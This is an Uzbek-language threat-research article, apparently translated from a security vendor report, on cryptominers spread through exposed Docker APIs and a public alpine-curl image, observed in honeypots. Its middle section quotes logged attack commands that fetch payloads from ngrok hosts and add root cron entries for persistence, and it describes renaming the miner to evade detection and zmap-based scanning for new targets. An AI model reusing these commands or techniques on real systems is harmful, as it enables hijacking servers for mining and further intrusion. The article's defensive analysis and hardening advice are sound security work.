Qanday qilib xususiy bo'lmagan Docker API va hamjamiyatning ommaviy tasvirlari kriptovalyuta konchilarni tarqatish uchun foydalanilmoqda

Qanday qilib xususiy bo'lmagan Docker API va hamjamiyatning ommaviy tasvirlari kriptovalyuta konchilarni tarqatish uchun foydalanilmoqda

Biz tahdidlarni kuzatish uchun yaratgan honeypot idishlari yordamida to'plangan ma'lumotlarni tahlil qildik. Va biz Docker Hub-da hamjamiyat tomonidan nashr etilgan rasmdan foydalanib, noqonuniy konteynerlar sifatida joylashtirilgan istalmagan yoki ruxsatsiz kriptovalyuta konchilarining sezilarli faolligini aniqladik. Rasm zararli kriptovalyuta konchilarni yetkazib beruvchi xizmatning bir qismi sifatida ishlatiladi.

Bundan tashqari, ochiq qo'shni konteynerlar va ilovalarga kirish uchun tarmoqlar bilan ishlash dasturlari o'rnatilgan.

Biz asal idishlarimizni hech qanday xavfsizlik choralarisiz yoki keyinchalik qo'shimcha dasturlarni o'rnatmasdan, ya'ni standart sozlamalar bilan qoldiramiz. Xatolar va oddiy zaifliklarning oldini olish uchun Docker-da dastlabki sozlash bo'yicha tavsiyalar borligini unutmang. Ammo ishlatiladigan asal idishlari konteynerlar ichidagi ilovalar emas, balki konteynerlashtirish platformasiga qaratilgan hujumlarni aniqlash uchun mo'ljallangan konteynerlardir.

Aniqlangan zararli faoliyat ham diqqatga sazovordir, chunki u zaifliklarni talab qilmaydi va Docker versiyasidan ham mustaqildir. Noto'g'ri sozlangan va shuning uchun ochiq konteyner tasvirini topish tajovuzkorlarga ko'plab ochiq serverlarni yuqtirish uchun kerak bo'lgan narsadir.

Yopiq Docker API foydalanuvchiga keng doiradagi ishlarni bajarishga imkon beradi jamoalar, jumladan, ishlaydigan konteynerlar ro'yxatini olish, ma'lum bir konteynerdan jurnallarni olish, boshlash, to'xtatish (shu jumladan majburiy) va hatto belgilangan sozlamalar bilan ma'lum bir tasvirdan yangi konteyner yaratish.

Qanday qilib xususiy bo'lmagan Docker API va hamjamiyatning ommaviy tasvirlari kriptovalyuta konchilarni tarqatish uchun foydalanilmoqda
Chap tomonda zararli dasturlarni etkazib berish usuli mavjud. O'ng tomonda tajovuzkorning muhiti joylashgan bo'lib, u tasvirlarni masofadan olib tashlash imkonini beradi.

Qanday qilib xususiy bo'lmagan Docker API va hamjamiyatning ommaviy tasvirlari kriptovalyuta konchilarni tarqatish uchun foydalanilmoqda
3762 ochiq Docker API-larining mamlakat bo'yicha taqsimlanishi. 12.02.2019 yildagi Shodan qidiruvi asosida

Hujum zanjiri va foydali yuk imkoniyatlari

Zararli faoliyat nafaqat honeypots yordamida aniqlandi. Shodan maʼlumotlari shuni koʻrsatadiki, biz Monero kriptovalyuta qazib olish dasturini oʻrnatish uchun koʻprik sifatida foydalanilgan notoʻgʻri konfiguratsiya qilingan konteynerni tekshirganimizdan soʻng, ochiq Docker API-larining soni ortgan (ikkinchi grafikga qarang). O'tgan yilning oktyabr oyida (2018 yil, joriy ma'lumotlar siz shunday ko'rishingiz mumkin taxminan. tarjimon) faqat 856 ta ochiq API mavjud edi.

Honeypot jurnallarini tekshirish konteyner tasviridan foydalanish ham foydalanish bilan bog'liqligini ko'rsatdi ngrok, xavfsiz ulanishlarni o'rnatish yoki trafikni umumiy foydalanish mumkin bo'lgan nuqtalardan belgilangan manzillar yoki resurslarga yo'naltirish uchun vosita (masalan, localhost). Bu tajovuzkorlarga foydali yukni ochiq serverga yetkazib berishda URL manzillarini dinamik ravishda yaratish imkonini beradi. Quyida ngrok xizmatidan suiiste'mol qilinganligini ko'rsatadigan jurnallardan kod misollari keltirilgan:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Ko'rib turganingizdek, yuklangan fayllar doimiy o'zgaruvchan URL manzillaridan yuklab olinadi. Bu URL manzillarining amal qilish muddati qisqa, shuning uchun amal qilish muddati tugagandan so‘ng foydali yuklarni yuklab bo‘lmaydi.

Ikkita foydali yuk opsiyasi mavjud. Birinchisi, tog'-kon hovuziga ulanadigan Linux uchun tuzilgan ELF konchi (Coinminer.SH.MALXMR.ATNO sifatida belgilanadi). Ikkinchisi, tarmoq diapazonlarini skanerlash va keyin yangi maqsadlarni qidirish uchun ishlatiladigan muayyan tarmoq vositalarini olish uchun mo'ljallangan skript (TrojanSpy.SH.ZNETMAP.A).

Damlamali skript ikkita o'zgaruvchini o'rnatadi, ular keyinchalik kriptovalyuta minerini joylashtirish uchun ishlatiladi. HOST o'zgaruvchisi zararli fayllar joylashgan URL manzilini o'z ichiga oladi va RIP o'zgaruvchisi joylashtiriladigan konchining fayl nomi (aslida xesh). HOST o'zgaruvchisi har safar xesh o'zgaruvchisi o'zgarganda o'zgaradi. Skript shuningdek, hujum qilingan serverda boshqa kriptovalyuta konchilari ishlamayotganligini tekshirishga harakat qiladi.

Qanday qilib xususiy bo'lmagan Docker API va hamjamiyatning ommaviy tasvirlari kriptovalyuta konchilarni tarqatish uchun foydalanilmoqda
HOST va RIP o'zgaruvchilari misollari, shuningdek, boshqa konchilar ishlamayotganligini tekshirish uchun ishlatiladigan kod parchasi

Minerni ishga tushirishdan oldin u nginx deb o'zgartiriladi. Ushbu skriptning boshqa versiyalari konchi nomini Linux muhitida mavjud bo'lishi mumkin bo'lgan boshqa qonuniy xizmatlarga o'zgartiradi. Bu, odatda, ishlaydigan jarayonlar ro'yxatiga qarshi tekshiruvlarni chetlab o'tish uchun etarli.

Qidiruv skripti ham xususiyatlarga ega. U kerakli vositalarni joylashtirish uchun bir xil URL xizmati bilan ishlaydi. Ular orasida tarmoqlarni skanerlash va ochiq portlar ro'yxatini olish uchun foydalaniladigan zmap binari mavjud. Skript topilgan xizmatlar bilan o'zaro aloqada bo'lish va topilgan xizmat haqida qo'shimcha ma'lumotni (masalan, uning versiyasini) aniqlash uchun ulardan bannerlarni olish uchun ishlatiladigan boshqa ikkilik faylni yuklaydi.

Skript shuningdek, skanerlash uchun ba'zi tarmoq diapazonlarini ham oldindan belgilaydi, ammo bu skript versiyasiga bog'liq. Shuningdek, u skanerlashni boshlashdan oldin xizmatlardan maqsadli portlarni o'rnatadi - bu holda Docker.

Mumkin bo'lgan maqsadlar topilishi bilanoq, bannerlar ulardan avtomatik ravishda o'chiriladi. Skript shuningdek, xizmatlar, ilovalar, komponentlar yoki qiziqish platformalariga qarab maqsadlarni filtrlaydi: Redis, Jenkins, Drupal, MODX, Kubernetes ustasi, Docker 1.16 mijozi va Apache CouchDB. Agar skanerlangan server ulardan birortasiga mos kelsa, u matn faylida saqlanadi, tajovuzkorlar keyinchalik tahlil qilish va xakerlik uchun foydalanishi mumkin. Ushbu matnli fayllar tajovuzkorlarning serverlariga dinamik havolalar orqali yuklanadi. Ya'ni, har bir fayl uchun alohida URL ishlatiladi, ya'ni keyingi kirish qiyin.

Hujum vektori Docker tasviridir, buni keyingi ikkita kod bo'lagida ko'rish mumkin.

Qanday qilib xususiy bo'lmagan Docker API va hamjamiyatning ommaviy tasvirlari kriptovalyuta konchilarni tarqatish uchun foydalanilmoqda
Yuqorida qonuniy xizmat nomini o'zgartirish, pastki qismida esa zmap tarmoqlarni skanerlash uchun qanday ishlatilishi ko'rsatilgan.

Qanday qilib xususiy bo'lmagan Docker API va hamjamiyatning ommaviy tasvirlari kriptovalyuta konchilarni tarqatish uchun foydalanilmoqda
Yuqori qismida oldindan belgilangan tarmoq diapazonlari, pastki qismida xizmatlarni, shu jumladan Dockerni qidirish uchun maxsus portlar joylashgan.

Qanday qilib xususiy bo'lmagan Docker API va hamjamiyatning ommaviy tasvirlari kriptovalyuta konchilarni tarqatish uchun foydalanilmoqda
Skrinshotda alp tog‘li jingalak tasviri 10 million martadan ko‘proq yuklab olingani ko‘rsatilgan

Alpine Linux va curl-ga asoslanib, turli xil protokollar orqali fayllarni uzatish uchun resursni tejaydigan CLI vositasini yaratishingiz mumkin. Docker tasviri. Oldingi rasmda ko'rib turganingizdek, bu rasm allaqachon 10 million martadan ko'proq yuklab olingan. Ko'p yuklamalar bu rasmni kirish nuqtasi sifatida ishlatishni anglatishi mumkin; bu rasm olti oydan ko'proq vaqt oldin yangilangan; foydalanuvchilar ushbu ombordan boshqa rasmlarni tez-tez yuklab olishmagan. Dockerda kirish nuqtasi - konteynerni ishga tushirish uchun sozlash uchun foydalaniladigan ko'rsatmalar to'plami. Agar kirish nuqtasi sozlamalari noto'g'ri bo'lsa (masalan, konteyner Internetdan ochiq qolsa), tasvir hujum vektori sifatida ishlatilishi mumkin. Buzg'unchilar noto'g'ri sozlangan yoki qo'llab-quvvatlanmaydigan ochiq konteynerni topsalar, undan foydali yukni yetkazib berish uchun foydalanishlari mumkin.

Shuni ta'kidlash kerakki, bu tasvir (alp-jingalak) o'zi zararli emas, lekin yuqorida ko'rib turganingizdek, u zararli funktsiyalarni bajarish uchun ishlatilishi mumkin. Shu kabi Docker tasvirlari zararli harakatlarni amalga oshirish uchun ham ishlatilishi mumkin. Biz Docker bilan bog'landik va ular bilan bu masala bo'yicha ishladik.

tavsiyalar

Noto'g'ri sozlash qoldiqlar doimiy muammo ko'pgina kompaniyalar uchun, ayniqsa amalga oshiruvchilar uchun DevOps, tez rivojlanish va yetkazib berishga qaratilgan. Hamma narsa audit va monitoring qoidalariga rioya qilish zarurati, ma'lumotlarning maxfiyligini nazorat qilish zarurati, shuningdek, ularga rioya qilmaslikdan kelib chiqadigan katta zarar bilan og'irlashadi. Xavfsizlikni avtomatlashtirishni ishlab chiqishning hayot aylanishiga kiritish nafaqat aniqlanmasligi mumkin bo'lgan xavfsizlik teshiklarini topishga yordam beradi, balki keraksiz ish yukini kamaytirishga yordam beradi, masalan, ilova o'rnatilgandan so'ng har bir aniqlangan zaiflik yoki noto'g'ri konfiguratsiya uchun qo'shimcha dasturiy ta'minot tuzilmalarini ishga tushirish.

Ushbu maqolada muhokama qilingan voqea xavfsizlikni boshidan e'tiborga olish zarurligini, shu jumladan quyidagi tavsiyalarni ta'kidlaydi:

  • Tizim ma'murlari va ishlab chiquvchilari uchun: Hamma narsa faqat ma'lum bir server yoki ichki tarmoqdan so'rovlarni qabul qilish uchun tuzilganligiga ishonch hosil qilish uchun doimo API sozlamalarini tekshiring.
  • Eng kam huquqlar printsipiga rioya qiling: konteyner tasvirlari imzolangan va tasdiqlanganligiga ishonch hosil qiling, muhim komponentlarga kirishni cheklang (konteynerni ishga tushirish xizmati) va tarmoq ulanishlariga shifrlashni qo'shing.
  • Kuzatish tavsiyalar va xavfsizlik mexanizmlarini yoqish, masalan. Dockerdan va o'rnatilgan xavfsizlik xususiyatlari.
  • Konteynerda ishlaydigan jarayonlar haqida qo'shimcha ma'lumot olish uchun (masalan, firibgarlikni aniqlash yoki zaifliklarni qidirish uchun) ish vaqtlari va tasvirlarni avtomatlashtirilgan skanerlashdan foydalaning. Ilovalarni boshqarish va yaxlitlik monitoringi serverlar, fayllar va tizim hududlaridagi g'ayritabiiy o'zgarishlarni kuzatishga yordam beradi.

Trendmicro DevOps jamoalariga xavfsiz qurish, tezda tarqatish va istalgan joyda ishga tushirishga yordam beradi. Trend Micro Gibrid bulutli xavfsizlik Tashkilotning DevOps quvur liniyasi bo'ylab kuchli, soddalashtirilgan va avtomatlashtirilgan xavfsizlikni ta'minlaydi va bir nechta tahdidlardan himoya qiladi. XGen ish vaqtida jismoniy, virtual va bulutli ish yuklarini himoya qilish. Bundan tashqari, konteyner xavfsizligini qo'shadi Chuqur xavfsizlik и Chuqur xavfsizlik aqlli tekshiruvi, Docker konteyner tasvirlarini zararli dasturlar va zaifliklar uchun skanerdan o'tkazadi, bu tahdidlarni joylashtirishdan oldin ularni oldini olish uchun ishlab chiqish liniyasining istalgan nuqtasida.

Murosaga kelish belgilari

Tegishli xeshlar:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

ning Docker video kurs Amaliy ma'ruzachilar yuqorida tavsiflangan vaziyatning yuzaga kelishi ehtimolini minimallashtirish yoki to'liq oldini olish uchun birinchi navbatda qanday sozlamalarni o'rnatish kerakligini ko'rsatadi. 19-21 avgust kunlari esa onlayn intensiv kursda DevOps Tools & Cheats Siz ushbu va shunga o'xshash xavfsizlik muammolarini hamkasblar va amaliyotchi o'qituvchilar bilan davra suhbatida muhokama qilishingiz mumkin, bu erda hamma o'z fikrlarini bildirishi va tajribali hamkasblarning dardi va muvaffaqiyatlarini tinglashi mumkin.

Manba: www.habr.com

a Izoh qo'shish